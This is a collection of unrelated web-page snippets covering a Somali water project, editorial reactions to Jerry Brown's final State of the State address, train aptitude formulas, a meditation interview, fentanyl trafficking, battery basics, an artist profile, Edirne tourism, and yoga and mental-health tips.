South Winneshiek Area First Responders are only one link in the emergency response system collaborating with the dispatch center, law enforcement, fire departments, and ambulance services.
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||To create access to clean water in Abudwak through piping.
||The construction of a two level water tower has turned the water well into a water company that provides clean water to 1800 households in Abudwak.
Dutch expertise and advisory centre for citizenship and international cooperation (NCDO), Somali Relief Fund (SRF) and local community, Human Concern International (HCI)
Somalia lacks adequate water resources due to constant droughts and lack of a functioning government over the years. Ground water is the main water supply to urban and rural areas in Somalia. Droughts lasting up to three years reduce the ground-water availability and this is a common problem in Somalia. The communities also lack the technical knowledge and financial resources to access the water supplies. The livelihoods in urban and rural areas depend on livestock. As the drought prolongs, the livestock decimates, driving rural inhabitants to urban areas as IDPs. Moreover, the conflict in Somalia further aggravated the situation.
In order to find a sustainable solution for the continuous problem of clean water, HIRDA established a water entrepreneurship that drills a water well mounted on a electric pump in Abudwak. Near the well, a water tank has been built for water storage. The well facilitates water trucking to the rural communities and their livestock. As a result of this entrepreneurship, access to clean water has improved as pipelines connect the well to the town and the community is enabled to independently control and monitor its water supply. Private business groups apply commercial rigour to both operations (energy consumption, preventive maintenance, staff management) and billing and revenue collection. The financial performance has improved as a result and has a lasting impact on the sustainability of the water supply service. The business groups have demonstrated a more professional management and improved sustainable water service quality. HIRDA is pleased to successfully empower the community in Abudwak in the distribution of water and to initiate local investment to improve the economy. | <urn:uuid:0f4f436d-10d4-45d0-82f4-26ac70dc29bb> | CC-MAIN-2022-33 | https://hirda.org/nl/program/social-investment/water-project/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572833.78/warc/CC-MAIN-20220817001643-20220817031643-00265.warc.gz | en | 0.94401 | 439 | 2.140625 | 2 |
How 3 California newspaper editorial boards graded Gov. Jerry Brown’s final State of the State Address
How 3 California newspaper editorial boards graded Gov. Jerry Brown's final State of the State Address
For his final State of the State Address as California governor, Jerry Brown hit on a wide range of issues such as California’s increasingly destructive wildfires, criminal justice reform, public education spending, a looming battle over the state gas tax and the beleaguered high-speed rail project.
“I make no bones about it, I like trains and I like high-speed trains even better,” said Brown, drawing laughs.
Not everyone was laughing, of course. Not everyone likes that train project.
Here’s a quick rundown of what the California newspaper editorial boards who wrote about the speech liked — and didn’t like — about it. They are The Sacramento Bee, San Francisco Chronicle, and The San Diego Union-Tribune.
The Sacramento Bee
The Sacramento Bee’s editorial board said the most significant aspect of Brown’s speech was “his continuing effort to balance criminal justice with mercy in a way that pencils out.” Also noteworthy, the Bee wrote, “was Brown’s call for a greater focus on forest health.” The Bee’s headline? “California’s next leader: We hope you paid attention to Brown’s final State of State.” Another positive for the Bee’s editorial board: a call for more mental health care and drug treatment.
From The Bee:
In the coming fiscal year, California expects to raise $2.2 billion from a voter-approved income tax surcharge on wealthy Californians for mental health care. … Caring for severely mentally ill people is complicated and costly, and thus easily ignored by politicians. But as they look to reduce homelessness and provide wise solutions to crime, Brown and legislators would do well to focus on improving these vulnerable Californians’ lives.
San Francisco Chronicle
The Chronicle’s editorial board saw a governor with no regrets and no intentions to take it easy this year. Its headline? “Brown shows no sign of retiring in his final year address.” The Chronicle wrote that Brown “offered no concluding thoughts or defining legacy” and that he “played it careful and cautious” with his speech.
From the Chronicle:
Extolling his record took up much of his annual State of the State speech before the Legislature. But at 79, Brown fell short of reflecting on his long turn in public life or issuing warnings to would-be successors, although several were seated a few feet away. Brown avoided the valedictory tone even as he’s heading out the door next January.
The San Diego Union-Tribune
The San Diego Union-Tribune’s editorial board took a different view. It called Brown’s speech disappointing as it related to four crucial areas: the bullet-train project, public school funding, Brown’s water project and the housing crisis. Its headline? “Four reasons Gov. Brown’s State of State speech was disappointing.”
From the U-T:
His most likely replacements may ignore his warnings about the state revenue roller coaster and costly new programs. But when it comes to the bullet train, public schools, water and housing, Californians have reason to hope that a fresh face in the governor’s office could lead to better priorities, assessments and approaches.
Here’s a bonus read for those who got this far in this post: CALmatters political reporter Laurel Rosenhall weighed in with an insightful analysis of her own, calling the speech “vintage Jerry Brown” and sharing context about a younger Brown and the father that preceded him in the governor’s office.
She also focused on what Brown chose not to.
What Brown didn’t mention: the fact that California has the highest poverty rate in the nation, that housing prices that have skyrocketed beyond affordability for many residents, and that the state’s tax structure exposes it to perpetual cycles of boom and bust. Also absent were the obscure intellectual references that have studded his past speeches—although he did contrast the state’s bloated penal code with the Biblical 10 Commandments.
What did you think of the speech? Did Brown hit the right notes and tone? Or not? Was anything missing in your view? Let us know. Also, if you see other newspaper editorials on this subject, please flag them to us, and we’ll add them.
Correction: An earlier version of this story misspelled Laurel Rosenhall’s name.
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Problems on Trains 1
Problems on Trains 1 Aptitude tests will test your ability to perform tasks and react to situations at work. This includes problem-solving, prioritisation and numerical skills, amongst other things.Train problems form an integral part of the time and speed questions which are frequently asked in the quantitative aptitude section of various Government exams. These questions are different from the basic speed, distance and time questions and require a different approach to be answered.
Important Formulas For Problems on Trains 1
To solve any numerical ability question a candidate needs to memorise the related formulas to be able to answer the questions easily and efficiently.
Given below are the important train-based questions formulas which shall help candidates answer the questions based on this topic:
- km/hr to m/s conversion:a km/hr =a x5/18m/s.
- m/s to km/hr conversion:a m/s =a x18/5km/hr.
- Formulas for finding Speed, Time and Distance
- Time taken by a train of length l metres to pass a pole or standing man or a signal post is equal to the time taken by the train to cover l metres.
- Time taken by a train of length l metres to pass a stationery object of length b metres is the time taken by the train to cover (l + b) metres.
- Suppose two trains or two objects bodies are moving in the same direction at u m/s and v m/s, where u > v, then their relative speed is = (u – v) m/s.
- Suppose two trains or two objects bodies are moving in opposite directions at u m/s and v m/s, then their relative speed is = (u + v) m/s.
- If two trains of length a metres and b metres are moving in opposite directions at u m/s and v m/s, then:The time taken by the trains to cross each other =(a + b)sec.(u + v)
- If two trains of length a metres and b metres are moving in the same direction at u m/s and v m/s, then:The time taken by the faster train to cross the slower train =(a + b)sec.(u – v)
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Don’t Sweat the Small Stuff and It’s All Small Stuff
Don’t Sweat the Small Stuff . . . and It’s All Small Stuff is a book that tells you how to keep from letting the little things in life drive you crazy. In thoughtful and insightful language, author Richard Carlson reveals ways to calm down in the midst of your incredibly hurried, stress-filled life.
You can learn to put things into perspective by making the small daily changes Dr. Carlson suggests, including advice such as “Choose your battles wisely;” “Remind yourself that when you die, your ‘in’ box won’t be empty;” and “Make peace with imperfection.” With Don’t Sweat the Small Stuff you’ll also learn how to:
- Live in the present moment
- Let others have the glory at times
- Lower your tolerance to stress
- Trust your intuitions
- Live each day as it might be your last
With gentle, supportive suggestions, Dr. Carlson reveals ways to make your actions more peaceful and caring, with the added benefit of making your life calmer and stress-free.
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Don’t Sweat the Small Stuff . . . and It’s All Small Stuff is a great read, especially for busy families or individuals. A great aspect of this book is that you don’t have to read it in a linear fashion! You can read it in its entirety or focus on chapter titles that pique your interest. Some of the items may even repeat part of other tips, which can help engrain these tips in your mind. I found this book enlightening and even helped me identify things I can do to deal with “small stuff” that I had thought to be big stuff. I recommend this book to individuals going through difficult times and needing a new/different perspective to look at those obstacles we may face during life. Don’t Sweat the Small Stuff . . . and It’s All Small Stuff can be helpful for all foster, adoptive, or relative caregiver families.Author: Richard Carlson, Ph.D. | <urn:uuid:fbf5bb53-5f1b-4b1c-80fb-9cf71dee4e8f> | CC-MAIN-2022-33 | https://www.wifostercareandadoption.org/library-assets/dont-sweat-the-small-stuff-and-its-all-small-stuff/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572033.91/warc/CC-MAIN-20220814113403-20220814143403-00265.warc.gz | en | 0.92772 | 468 | 1.8125 | 2 |
What kind of animal is the grinch?
The grinch is a fictional animal. He is a grinch, which is a green, furry humanoid who lives on the same planet as the Who's live.
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June 16, 2020
Welcome Fresh Veggies Day on June 16th with These Amazing Tips
If you’re an adult who has never developed a love for leafy greens, or a parent looking for creative ways to get your kids to eat their peas, it’s about time you take note of the fact that vegetables provide your body with nutrition that can help strengthen your immunity against diseases.
There is a special day each year intended to promote a love for this food group, and its called Fresh Veggies Day. It is annually celebrated on June 16th just as the vegetable season starts with fresh harvests. It’s the perfect time to reacquaint your palate with the amazing flavors of fresh vegetables from your local market.
Why Eat Vegetables?
For kids and adults alike, the common question is, why should you develop a love for vegetables? If you seek answers to this question, you would understand that veggies offer a load of benefits. Here are just some of them:
- Vegetables don’t have cholesterol and are naturally low on fat and calories.
- Veggies are an excellent source of potassium (to maintain healthy blood pressure), dietary fiber (to reduce blood cholesterol levels, improve bowel functions and lower heart disease risks), folic acid (to help the body form red blood cells), vitamin C (to aid iron absorption), and vitamin A (to improve immunity and skin health).
- Including vegetables into your diet can help protect you against certain types of cancers.
5 Creative Ways to Enjoy Veggies
There are different ways of enjoying your consumption of veggies. You just have to dig deep and find creative solutions. Here are a few tips to get you started:
- Change the way you cook them.
Adding some oil, butter, or cheese can liven up the flavors of your vegetables and help you absorb their nutrients. Just don’t go overboard. You can also be creative in preparing vegetables. For instance, instead of simply steaming broccoli, you can roast them. You can also mash cauliflower for a different spin.
- Hide them in your favorite dishes.
You can amp up the nutritional level of your favorite meals by sneaking in small portions of veggies. Mashed or pureed veggies won’t get noticed as part of the sauce while thinly sliced carrots can easily be incorporated into kiddie favorite dishes like spaghetti.
- Drink them.
If you love fruit smoothies, adding veggies like carrots in the blender won’t change the flavors of the naturally sweet drink if you pick the right vegetables.
- Try colorful veggies.
While you may associate green and leafy veggies with a lack of flavor, why not try to create a new experience with delicious veggies with festive color? Try to add bell peppers, squash, tomatoes, and other veggies to your meals to make them more flavorful and festive.
- Become an example.
Even if you are not a big fan of vegetables yourself, a good motivation to start changing your eating habits is your kids. Inspire them to eat healthily and avoid health problems in the future by showing them that you also eat veggies without complaint.
Reach Out to Our Impoverished Vets
Vegetables are our source of vitamins and nutrients. However, sick and impoverished people have bigger concerns than getting the right nutrition for their bodies.
Many of our veterans are in this category. They are those who are suffering from lack of jobs, physical and mental health issues, service-connected disabilities, and homelessness due to extreme poverty.
It is a shame that these veterans are living miserable lives despite all the sacrifices they made in serving our nation.
You can reach out to these veterans and their families and help turn their lives around by simply turning over your old and unwanted vehicle to us at Veteran Car Donations.
We auction off the various types of vehicles donated to us and use the proceeds to support the programs and services of our charity partners. These IRS-approved 501(c)3 nonprofits are at the forefront of providing needy veterans with financial assistance, free medical treatment, employment opportunities, family support, and other essential services.
You will also get benefits when you take part in our vehicle donation program. Not only will you get our free pick-up and towing service wherever you are in the country, but you’ll also qualify to receive a top tax deduction in the next tax season.
You can check out our FAQs page to get to know our quick and convenient donation process and other details. If you have questions and concerns, feel free to call us at 877-594-5822 or leave us a message here.
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You want to have a computer network cabling installed in your company’s building, and you’ve opted for copper cabling. However, to make the right choice according to your high-speed internet needs, you’re now asking yourself what the difference is between ethernet CAT6 vs. CAT6a cables. To make an informed decision, read the following article!
Cable categories are determined according to the frequencies (expressed in hertz) at which they can transmit signals. For example, a category 5 (cat5) cable cannot exceed 100 MHz, while a cat6 cable can reach 250 MHz.
For their part, the letters A to F indicate the types of links that the frequency bands can allow. Cat6 cables belong to the E class; cat6a cables are part of the Ea class. In other words, CAT6a is an enhanced cat6.
The main difference between cat6 vs. cat6a cables relates to frequencies and link lengths:
Furthermore, CAT6a cables have a stronger coating, which reduces foreign crosstalk, or the interference caused by neighbouring cables. Overall, therefore, these cables offer better performance (faster speeds) than the cat6.
To determine which Ethernet cable is right for your company, you need to take different factors into account, including:
Generally speaking, cat6 cables are sufficient for a corporate network. Cat6a cables are often used for data centres or large intercompany networks, for example.
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What is meditation?
This is not a difficult question, it’s an easy one, but different people will give different answers and everyone has their own way.
For me, meditation is the practice of striving for 100% authenticity. It is the search for ones own truth. And, not necessarily only in a metaphysical way, in a literal way, too. We have conditioning, habits, karma, situations, life experiences all of which have added their own flavours, their own points of suffering, or joy. You are conditioned from day one by your family, parents, education, friends, country, society. But, when you seek the honest truth of the entity that is you, you purify your vibration up to the point where you can actually physically change how the body that is a part of your entity functions.
What do I mean by vibration?
Well, the body, it’s organs, it’s systems each have a frequency and when they are not vibrating at the right frequency you have disorder. Same with the mind. So, when the rhythms and frequencies of your body’s systems get to, and are maintained at, the right frequency you have truth. Completeness. Meditation is one way to walk the path of that truth.
When you are able to let go of your conditioning, accept karmic stories, change how you engage with your life…essentially be 100% truthful version of yourself you find peace and harmony. Within and without. Does that make sense?
How a regular meditation practice should look like?
Hmmm. I’m not comfortable with the word ‘should’ there.
I know people who follow very specific systems, and others who have developed their own way. But, the important thing is, is it producing benefit? And, that comes back to truth. If you practice a meditative practice once a week, and you feel it honestly benefits your life and therefore the lives of those around you, then that’s great. Personally, I work at my practice twice a day, every day, because I need it. Because my negative tendencies crop up so easily. My tendencies of low self worth, for example. When I don’t invest in my life daily (meditative practice is basically that, you investing in your life), my life state goes down and I fall off the path.
A regular path, is about discipline. It is about fighting your fundamental darkness, negativity, whatever you want to call it, and winning…everyday…again and again. Until purity of existence, purity of truth shows itself.
Why do people find it difficult to focus and practice for a long period of time?
Simple. Because modern life has taught us that we are something that we’re not. It has taught us to produce, make, provide, show, work. So we are programmed to do that, and sitting for half an hour in meditative practice seems like a waste of time. We have better things to do. But nothing exists until you do. Nothing. And, if you don’t exist because you are so conditioned that you simply live to follow the same instructions again and again, you will never be.
To be, to exist, you must cut the chain of modern life, stop believing in it, and start believing in yourself and you’re power…and your mission. Everything else in life is simply content. I’m not the first to say this, but it’s true. When you believe in your reality it consumes you. But when you invest in your life through a meditative practice it’s a joy to not be buying into the modern life that we are sold everyday. And, then you make your own reality. Thats what meditative practice is, making your own reality.
And focus…well…what are you? You are an animal, you may have developed a different state of intelligence but you are an animal. But if you shower an animal with electromagnetic radiation, wifi, radiation from computer screens, mobile phone radiation, unusual light frequencies, etc this will affect your ability to maintain a brain state that is harmonious to your environment.
Plus focus is what, exactly? Non thought. But you are thinking all the time because you have the programmed need to show yourself, to prove yourself, to compete, to do, to work. And, how can you ‘focus’ when something like that, on a cellular level, something that is ingrained in your being has not been extinguished or dealt with.
What is acceptance, how can it help people create themselves?
Well, we have been conditioned to think that hard work gets results. That you have to work hard to get up the ladder of success. Of course, you have to work hard and diligence will help you achieve your goals but in the modern age, in this age of Aquarius this is a square, basic and limited way of thinking and it’s not enough anymore.
When you push and push and fight all the time, you are believing wholeheartedly in your reality. In the bricks and mortar of your life. I have this life, this wife, this boyfriend, this house, this job, this stuff. It’s like life is a box you have your head perpetually stuck in.
But, when you distance yourself from life, you can see it for what it really is. Just a series of sequences, concepts, patterns, tendencies that you believe you must control in some way. That you must direct, push or manipulate to get your way.
But, when you raise your vibration, your vital energy, and dedicate yourself to spiritual practice you stop controlling, manipulating things, people and events and you free up so much energy it’s incredible.
The law of attraction only works in you have the law of vibration first. If your energy is strong and pure and free, if your energetic body is free to just be, you need not attract anything, it will all show itself to you. You see, you have the entire universe in the palm of your hand, all the time. It is you, you are the universe and you are everything in it. So, when you vibrate on that frequency, allowing acceptance, which are basically love, this is what you will experience in your existence.
How a regular practice can help people to know their inner selves?
Well, why do you not know your inner self? Because you can’t see it, have no proof that it exists and haven’t been educated unto the benefit of it. If I told a 5 year child, that the most important thing is to take care of their spirit, invest in their inner life and work to raise their frequency of vibration at the age of twenty they’d be considered a saint or something. But, no. Instead we teach that information (the material of the mind) is important. That facts and figures are important, that the external is important.
But the mind is just a tool, like your arm. You are not your arm. You are not your mind. Both exist to help you to survive. Simple. We only look to the physical, the material. Because that’s what we can ‘see’.
A regular spiritual practice can help people to know their inner self because that is essentially all there is, the rest is just content, stuff, situations, events…story. The reality, your reality you just create from the place of your inner self. So if you focus on the source (inner self) instead of the result (your life) the first simply allows the second to be wonderful.
To help you know your inner self. Thats your question.
So, there are two entities here. The ‘you’ who knows and the ‘yourself’. The you who knows is the character you play, the self, who has a job, a life, a family, stuff. You need him or her for your very survival. But if you take the image of water, this ‘you’ is like a drop of water and the yourself (inner self) is the entire ocean. And it surrounds and flows through and can obliterate the smaller ‘you’ and rebuild it instantly. Over and over and over again. There are many ways to ‘know’ the ocean. Pray to it, listen to it, love it. Accept it. Seek it. And the more you seek, the more it’s waves will wash over ‘you’. And the more you will be amazed at the fact that you are everything. You are all. But you don’t believe that because your education taught you that everything is outside of you. God is outside of you. The buddha was a super natural being outside of you. No, they were just men, simple humble men who were in touch with the ocean. And aware of their own insignificance in comparison to it.
Meditation is acquiring popularity in the western world, why is this happening? What is it that is changing the world?
Because modern life is meaningless. Stuff, famous people, material things, money, fame. They’re cool when you are young, they are fun, it’s nice to have nice things, but as we age we see that they just come and go and repeat themselves over and over again. But human beings crave one thing above all things, and famous people, material things and money can’t provide it. Human beings crave meaning. As Victor Frankl said, man searches for meaning. And you can search and search for it outside of yourself. You can take on other peoples ‘meaning’, you can believe in ‘meaning’ that is not yours but eventually, and as is often the case, you will find it in the last few seconds of your life when you realise that it lies within you. And only there. Meditative practice connects you to the ocean and the ocean is meaning itself.
Using Visualisation techniques we can create a strong and vibrant connection to this ‘belief’. Explain these techniques.
So, as a Nicherin Buddhist I chant. I chant everyday twice a day. Why? Because it connects me to the ocean. To my essence. It raises my vibration and revitalises my energy body from the inside out. I’ve been practicing it every day for about 12 years. Why? Because I need it.
But, someone who is not so fortunate to have found a practice like this, who’s life is stressy, hectic, full of difficulties and challenges, works all day, is running after kids, dogs, whatever may not have the time to dedicate to a practice like Nicherin Buddhism. So, I created my visualisation courses. They are a combination of shamanic healing practices, ancient buddhist concepts made to be very simple, accessible and applicable, wrapped up in a package and sprinkled with auto-suggestion and story telling. I create a visual world that’s very vivid and full of imagery that takes you very deep within yourself, within your energetic body where we start to change, enhance and fine tune your own frequencies. The shamanic drum, for example, is used to disrupt your brainwaves allowing space for a different frequency. What does the different frequency produce? Altered thought patterns, changes in your space of consciousness. My work is about taking you on a journey within yourself where we change things on a fundamental level. It’s about gaining clarity, opening your vision helping you to see the true nature of things. So that your reality changes through the fact that very your beliefs about your existence change.
Whats my idea about mindfulness meditation?
It’s fantastic. You are making the idea of inner work genuinely accessible to everyone. You take away the mystique, the spiritualism and the fear that brings, and making it into a simple effective system to help people help themselves. I did a MBSR (Mindfulness Based Stress Relief) course a few years ago. Loved it. Simple exercises, straight forward teachings but with a solid understanding behind it. But, I think the most important thing, as is with my work, is that you discover the benefits of Mindfulness very rapidly. And, frankly that’s what people want nowadays, results. They don’t have time to waste, people want to know that if they invest their time in something it will reap benefits.
Why our minds find it difficult to focus for long periods of time.
It’s because we have been trained to live in a very unconscious way. And, on a more cynical level we have been conditioned to be unconscious because when we are like that we are more easily manipulated and vulnerable. But, if we work on our conscious awareness in each act, in each moment you have a wider vision. And we see through these superficial tricks. It’s like the 3000 Realms in a Single Moment of Life. This is a buddhism concept that I work with a lot in my visualisations. It was introduced by T’ien Tai in the 5th or 6th century and it basically states that in any given moment you have 3000 different possible options available to you. 3000 opportunities, paths, choices. When you are in a normal state of life you maybe will use 50 or 100 or 200 at the most. These include your habits, addictions, conditioning, patterns in relationships, patterns of dealing with people, ways of engaging with your life.
But when you open up your width of vision using visualisation techniques, meditation, spiritual practices you awaken the rest of the 3000 possibilities and so you free yourself from these patterns, and you free yourself from everyday manipulations the you get stuck in because your head is in the clouds most of the time. Meditative practice brings clarity. That’s the number 1 benefit. And actually, that’s massive. Without clarity you are living in a reaction-ist way. Stuff happens, hits you in the face…and you react. But, spiritual practice, meditation makes you pro-active. You see what’s going on and you take action. You use the universal law of cause and effect. You make causes and so you will receive effects.
Taking your head out of normal everyday mundane life, and widening your vision instantly empowers you. And, that’s why I love doing this work, I love seeing people get empowered. Because they get happier. Much much happier.
You record guided meditations and they are on the web. Where do you get your inspiration from? Whats your life purpose?
Big question! Ok, where does my inspiration come from. Number one answer my daughter. She is the light of my life. And just seeing her dance through time gives me so much joy and inspiration.
I think the more I connect to my own inherent inner wisdom, the more creation comes through me. I have always been fascinated by shamanism, Taoism, buddhism. Spirituality too. I never really fitted into society properly and so I always looked at it from the outside. And the parts that don’t make sense to me, I ask myself why, and then I turn them on their head, and look again.
My life purpose. Thats an easy one. I’m here to give service. We all are. But, our education taught us otherwise. Thats why much of my best work is free. I’d rather you have access to it. Money will come to me as and when it needs to. But the cycle of prosperity is very simple. You give, and so you shall receive. But you don’t give so that you will receive, you give for the joy of giving. But, remember, as soon as you whinge, complain, talk badly about others, or succumb to negativity, the cycle of prosperity stops. And, it doesn’t start again until you give freely once more. My mission in life came to me along with my buddhist practice. I get to go and support men and women to reveal their full potential, to manifest their greatness everyday. I get to listen to people, hear them. And give them the space to learn and grow. I’m the luckiest man alive.
What are you planning for the near future?
Well, I have a new album coming out, our first exclusively on InsightTimer the Meditation App. I have a new 7 part guided visualisation that’s just done and on the website now, plus many more in the pipeline. And our Temple Arts Healing Ceremony work is going to Glastonbury this year. Temple Arts is a project I’m really proud of, it’s like everything I’ve done up until now was preparing me for it. And working with Ana Otero is such an honour, she’s an incredible woman. I provide the music and sounds. I love making plans and living in the future. Yes, living in the now is important, but not all the time. | <urn:uuid:40e72fc6-0462-4e33-b618-afd1baf7c8d3> | CC-MAIN-2022-33 | https://jimrajan.com/recent-interview-transcription/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572198.93/warc/CC-MAIN-20220815175725-20220815205725-00265.warc.gz | en | 0.955368 | 3,543 | 1.5625 | 2 |
Fentanyl is a synthetic opioid that is used to treat post-surgery pain in hospitalized patients. Prescription fentanyl is used for treating severe pain, although doctors are stirring away from prescribing the drug as it can still lead to opioid dependence. The recent influx of fentanyl and other opioids into the United States has led to a rise in the opioid epidemic, especially during the COVID-19 pandemic.
There has also been an increased amount of illicitly manufactured fentanyl reaching the United States through various forms of drug trafficking. The amount of fentanyl being sold on the streets has led to an increase in overdose deaths in the United States, as well as an increase in opioid dependence.
Illegal fentanyl is largely produced in China, which was previously the dominant source of fentanyl in the United States. Recently, fentanyl has been arriving from the southern border through Mexico, although these are typically drug shipments from China that are simply being rerouted through the bordering country.
According to the DEA, Mexican cartels will “almost certainly have the greatest direct impact” on the U.S. fentanyl market in the coming years. US officials have been attempting to quash the opioid epidemic through diplomatic efforts with other countries, such as providing foreign aid and capturing cartel leaders.
There have also been efforts to end opioid distribution and use once fentanyl has arrived in the United States, such as harm reduction programs which focus on limiting drug overdose deaths and transmission of viruses. There have also been increased efforts to stop distribution by prosecuting groups involved in overprescribing or drug trafficking of fentanyl.
Since the drug can be either pharmaceutical fentanyl or illicitly manufactured, effectively stopping the spread of fentanyl can be a difficult process. This is especially true due to the many forms that fentanyl can be distributed as. Illicit fentanyl is often sold as counterfeit pills that are made to pass as other drugs, such as oxycontin, Percocet, or MDMA.
Fentanyl can also be sold in powdered form, which looks almost identical to cocaine or pure white heroin. Besides being made to look like other street drugs, illegal fentanyl can also be sold in other forms such as blotter paper, eye droppers, and nasal sprays. Pharmaceutical fentanyl is administered as either a shot, a patch put on the patient’s skin, or a lozenge for the patient to suck on like a cough drop.
Whichever form of fentanyl is ingested, even if it was prescribed legally, is still dangerous and can lead to overdose. Fentanyl is 100 times more potent than morphine and 50 times more potent than heroin. The danger associated with this drug has led to the United States’ government’s intensity in their response.
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What is a battery?
The word battery means a collection, as in Gun Battery. An electric battery
therefore consists of two or more Galvanic cells. A Galvanic cell is an
electrochemical system that transforms chemical energy into electric energy.
Such a cell in speaking terms is called a battery.
purpose is to store energy and when needed release this energy in the
form of electric energy. The amount of energy a battery can release is
synonymous with its capacity. The term energy is rated in joule (j). However,
electrical energy is often represented in Wh (Watt Hours). As a battery’s
voltage is somewhat constant its capacity is a function of current × time (Ah).
Non-chargeable batteries are called primary batteries.
Batteries used in an ordinary flashlight are usually primary batteries.
Rechargeable batteries are called secondary batteries
and consist of electrolytic cells capable in generating chemical energy
into electrical energy. An ordinary car battery is a secondary battery
also called accumulator.
A Fuel cell is not a galvanic cell. However, it is constructed
in a similar way and can generate electric current. A Fuel cell transforms
hydrogen and oxygen gas into water. This reaction generates 0.7 Volt.
A battery can consist of a group of batteries. An example
is a battery in an UPS that contains 32 serial connected 12 Volt batteries
each including 6 cells of lead-acid type. Each cell generates 2 Volt resulting
in a 36*6*2=384 Volt battery. Our 12 Volt battery in the example above
is sometimes referred to as a battery block or simply a block.
While a battery’s total voltage is the sum of each
individual cell’s voltage its current is limited to that of the
weakest cell. Therefore, if a short circuit in one 2 Volt cell total voltage
would fall from 384V to 382V i.e. only 0.5%. However, total capacity falls
to the same level.
Reliability and life cycle.
In each cell
there is an ongoing chemical process. Some of these processes are necessary
while others are harmful resulting in a decrease of the cell's capacity.
Chemical reactions in a cell are affected by internal factors such as
impurities in the electrolyte and external factors such as recharge voltage,
recharge current, temperature and humidity. Furthermore a cell's aging
process is affected by historical facts such as number and characteristics
of recharge and discharge. After a certain period of time some cells have
Common symptoms in failing batteries
- Corroding battery plates
- Expansion of battery plates
- Sulfur coating on battery plates
- Reversed Polarity
- Short Circuit
- Open Circuit
- Dry out
- Over Heating
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Zuzana Graus Rudavská feels the material in all forms and appearance of use and processing like living matter; she’s mainly excited by various structures, places where the shape gives its name to its surface. Through them she wants to capture the most formidable and almost incomprehensible feelings: touches of land, water, air, and wind evoke a variable sea level, a mountain meadow lit by the sun or a slope furrowed by narrow fields, dew in the grass or raindrops in the hair... Nature she accepts as her basic source of inspiration, but she is present in her work internally, subliminally, intuitively. A look at the paintings and reliefs modeled from handmade paper suggest to us strips of fields, scenery typical of the Slovak mountain landscape seen as if from above. Woven objects, birds’ nests in the treetops, tiny crystals of dew fluttering in reflections of light, ripples of water appear in the drawings, captured and stopped in their moment, but at the same time set up in generalized abstract paintings. They have their natural weight (stone), flexibility and formability (paper, twine), transparency and lightness (wire, polished natural mountain crystal), but mainly poetry – they radiate a strong metaphorical or figurative vision. As Rút Lichner wrote: “Air passes through them, light penetrates, wind can blow.”
In the hands of Zuzana Graus Rudavska, the boundaries between “high” and “low” collapse. Free and utilitarian, rustic and artistic, her art brings about a visual and poetic transformation of nature and reality. It brings us in contact with the mysterious through delicate, quiet, unnoticed but lasting experiences.
Zuzana Graus Rudavská (*1962, Bratislava) comes from an artistic family; she studied textile art at the Secondary School of Applied Arts in Bratislava and at the Academy of Arts, Architecture and Design in Prague. In 1986 she immigrated to the United States, where she lived in New York City. She has participated in over 20 international sculpture symposiums in the United States, Japan, Europe and Africa (for example, the Iwate Town Stone Sculpture Garden, Japan, and the Socrates Sculpture Park, New York City). Her compositions entitled “Composition with Light 93” and “Nest I” were exhibited at the XLVII Venice Biennale in 1997. Her works were exhibited at renowned American and European galleries and museums, such as the Helen Drutt Gallery, NY; the Katonah Museum, NY; the American Craft Museum/ Museum of Arts & Design, NY; Galerie V&V, Vienna. Her works are part of the collections at the Cisternerne Glass Museum, Copenhagen; the Slovak National Gallery, Bratislava; and Museum Kampa, Prague. She has been living and working in Bratislava since 2003. She creates installations, crystal objects, jewelry, paintings and drawings.
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PHP is a server-side scripting language that is used for web development. It is one of the most popular programming languages in the world, and is used to create dynamic websites. PHP code can be embedded into HTML pages, or it can be used to create standalone files. In this blog post, we will discuss the different uses for php web development, and how it can help your business grow!
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“It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness… we had everything before us, we had nothing before us”
Charles Dickens, A Tale of Two Cities
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10 vibes for Edirne
Selimiye Mosque and its Social Complex: Constructed by the architect Mimar Sinan between 1569 and 1575, the Selimiye Mosque and its complex are inscribed on the Unesco World Heritage List in 2011.
Saros Gulf: Saros Gulf, with its clean sea extending from the Gelibolu Peninsula to Enez, wide and sandy beaches and cool water is one of the ideal places for holiday and a natural protected area.
Kırkpınar Oil Wrestling Festival: The Kırkpınar Oil Wrestling Festival is an annual tournament held in Edirne. It holds the Guinness Book of Records title for the longest consecutively held sporting event in the world.
Bridges of Edirne: It is not surprising that bridges come to mind when talking about Edirne. Surrounded by the rivers of Arda, Tunca, Meriç and Ergene, the bridges of the city are also the witnesses of a great historical heritage.
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By Natalie Clark
Do You Focus on Fitness #4Mind4Body?
Mental health is essential to overall health and well-being. Mental illnesses are common and treatable. Much of what we do physically, impacts us mentally, so it’s important to pay attention to your physical and mental health.
May is Mental Health Month, and the Laurence E. Schmidt Family Resource Center, a program of Vera Lloyd Presbyterian Family Services, is kicking off “Fitness #4Mind4Body” to raise awareness about the important connection between physical and mental health.
A healthy lifestyle can help to prevent the onset or worsening of mental health conditions like depression, anxiety, heart disease, diabetes, obesity, and other chronic health problems. It can also play a big role in recovering from these conditions. Taking good care of your body is part of a preventative approach to mental health.
Here are four key areas to consider:
Exercise. Getting the appropriate amount of exercise can help control weight, improve mental health, and help you live longer and healthier.
Nutrition. Recent research is also connecting your nutrition and gut health with your mental health.
Sleep. Rest plays a critical role in all aspects of our life and overall health. Getting a good night’s sleep is important tohaving enough physical and mental energy to take on daily responsibilities.
Stress Management. We all know that stress can have a huge impact on all aspects of our health, so it’s important to take time to focus on stress-reducing activities like meditation or yoga.
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By: Anastasia Hamurari, Yoga Instructor
The Complete Lowdown on Yoga:
What You Need to Know
Gyms, wellness centers, and yoga studios are popping up all around you.
As more people adopt active lifestyles and embrace the healthy-mind-healthy-body culture, you’re wondering about yoga.
What is it exactly?
Great question! In this article, we’re going to tell you all you need to know about the practice of yoga.
In the modern fast-paced world, everyone, young and old, is working hard in pursuit of some worthy title, to the point of exhaustion. This leads us to forget how to slow down and live in the moment – the very thing that yoga has the power to reverse.
Read through our guide that has every piece of information you’ll need to start doing yoga on a regular basis, and perhaps even acquire a professional yogi certification. Once you educate yourself on the topic, you’ll have what it takes to not only excel at the practice but also influence your friends to join you.
What is Yoga?
First of all, let’s not confuse yoga with religion, philosophy, or a lifestyle. Let’s think of it as a combination of physical movements that are accompanied by meditative breathing. These movements are perceived as a series of postures created to improve your balance, increase your flexibility, and make you physically and mentally stronger.
